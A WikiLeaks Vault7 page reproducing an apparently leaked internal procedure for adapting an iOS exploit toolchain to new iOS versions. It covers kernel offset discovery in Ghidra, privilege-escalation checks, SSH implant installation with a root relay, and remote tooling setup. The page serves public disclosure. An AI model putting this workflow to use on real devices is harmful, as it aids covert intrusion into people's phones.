Vault7: CIA Hacking Tools Revealed

Navigation: » Latest version

iOS Triage Process

This describes the process need to been done when a new iOS version is updated.

List of tools new needed

Xcode Developer Disk Image (DMG)
1. Install Xcode
2. find DMG in xcode directory
3. put with other DMG ( redux/res/dmg )

Saline

get saline_manifest
compile saline
get testdylib_manifest
compile test testdylib
run saline
1. ../Dist/Release-MacOSX/saline ../test_dylib/Build/Release-iPhoneOS/testdylib/testmain

Adderall

Get adderall_manifest
in nightversion/python/nv_kern_read_command.py
1. update kern start
2. in get_ios_type, verify correct version number is in there
update early.mk add new prefix to new to list ( in the early-make directory)
1. early-bokken
2. early-close
3. early-persist
4. early-remote
update saline and rana
1. update match function in rana/ranas/<proper>_rana.py\
adderall.py
Hopefully have execution

Symdra / Elsym

python symdra/ -h
python symdra/ full -k /tmp/> -a <results folder> -g <ghidra_dir> -b <min_build_version>
1. /tmp should have IPSW from adderall
2. a copy should be up on the share
3. ghidra must be at least 6
4. build version is your target
When done symbol.db in the analysis directory
This will be feed into Elsym
sqlite3 <output folder>/<IPSW>/symbol.db
1. select * from [ Master_symbol ];
2. .exit
cd ../elsym
1. git status
2. git branch feature/ios-<version>
3. git checkout feature/ios-<version>
4. el.py
  1. make sure build number is in the list
  2. might need to change "EL_CONFIG_LWVM_PARITION_FLAG_OFFSET"
    1. For iOS 8.4 we had to change it to 0x28. To determine:
      1. Open ghidra
      2. File -> Open Project
      3. goto the symdra_results/<IPSW>/Ghidra/kernelcache.gpr
      4. Open the System.kext and search for the string "disk0s1", "disk0s1s1", "Writable", and/or "UUID"
      5. This function is bsd_init (note this is heavily inlined and may not fully decompile)
      6. Find the call to _VNOP_IOCTL
      7. The second parameter is the ioctl number we need (in the past was 0xc01064c2 but might be broken into two instructions)
      8. Note the ioctl number
      9. Open com.apple.driver.LightweightVolumeManager.kext
      10. Search Program Text for the ioctl number (note you may want to search for half of it at a time) being used in a comparison
      11. This function is the ioctl handler
      12. Inside the true block of the conditional, look for the constants on the ioctl
      13. One of the commands sets a read-only field (1), the offset for this field is the LWVM_PARTION_FLAG_OFFSET.
5. run and see what happens
6. ZOO_IPSW_PATH=<results folder> make copyonedist ZOO_TARGET=<target>
  1. _kernel_memory_allocate is only used for the development
7. ls ../elsym-dist/<IPSW>.plist
8. python verify ../elsym-dist/
  1. no back files found ( doesn't mean that all files are good, just didn't find it)
9. print_config.py ../elsym-dist/<IPSW>.plist

Nightvision

can be done under the adderral or the ios manifest
cd adderral
cd nightvision
make dist
../Dist/Release-iPhoneOs/nv -c ../early/elsym-dist/ get -o <outdir>/
find /private/var/root in file list to verify privilege escalation worked

El_util

cd early_manifest
make ZOO_IPSW="<target>"
el_runo.sh don't use even if it is in the directory
cd ../rana
make
python ../Build/Release-MacOS/rana.pyz -a execute Build/Relase-iPhoneOS/elutil/<IPSW>/el_priv
1. should be "uid = 0, euid = 0"

El_unit

cd elunit
ZOO_ISPW_PATH=~/tmp/ make
1. need a device on the developer profile
should only have 1 failed test

El_ssh

go into el_ssh
make clean EL_SSH_ACCESS=close dist
../Dist/Release-iPhoneOS/el_ssh install
../Dist/Release-iPhoneOS/el_ssh run
../Dist/Release-iPhoneOS/el_ssh dumpkey ssh.key
../Dist/Release-iPhoneOS/el_ssh relay 2222
ssh -i ssh.key -p 2222 root@localhost
ls bin_nohash

Remote

under mcnugget manifest
cd mcnugget
make
cd mcp_archon
archon.py
1. variable = iOS
earth.py
1. variable = iOS
soul.py
1. (doesn't actually check version) we are good
safari
1. settings advance webinscpection on
2. settings developer enable UIUser Interface automation
ZOO_IPSW_PATH=~/temp/ make make clean default
go to confluence page McNuggest quick ref

Persistence

Does not currently work.

iOS Firmware Updating to latest procedure / Adding Exploit Support For New Devices

('contentbylabel' missing)

('details' missing)

Contact

Tor

Tails

Tips

1. Contact us if you have specific problems

2. What computer to use

3. Do not talk about your submission to others

After

1. Do not talk about your submission to others

2. Act normal

3. Remove traces of your submission

4. If you face legal action

Submit documents to WikiLeaks

Vault7: CIA Hacking Tools Revealed

iOS Triage Process

List of tools new needed

Saline

Adderall

Symdra / Elsym

Nightvision

El_util

El_unit

El_ssh

Remote

Persistence

Related articles

e-Highlighter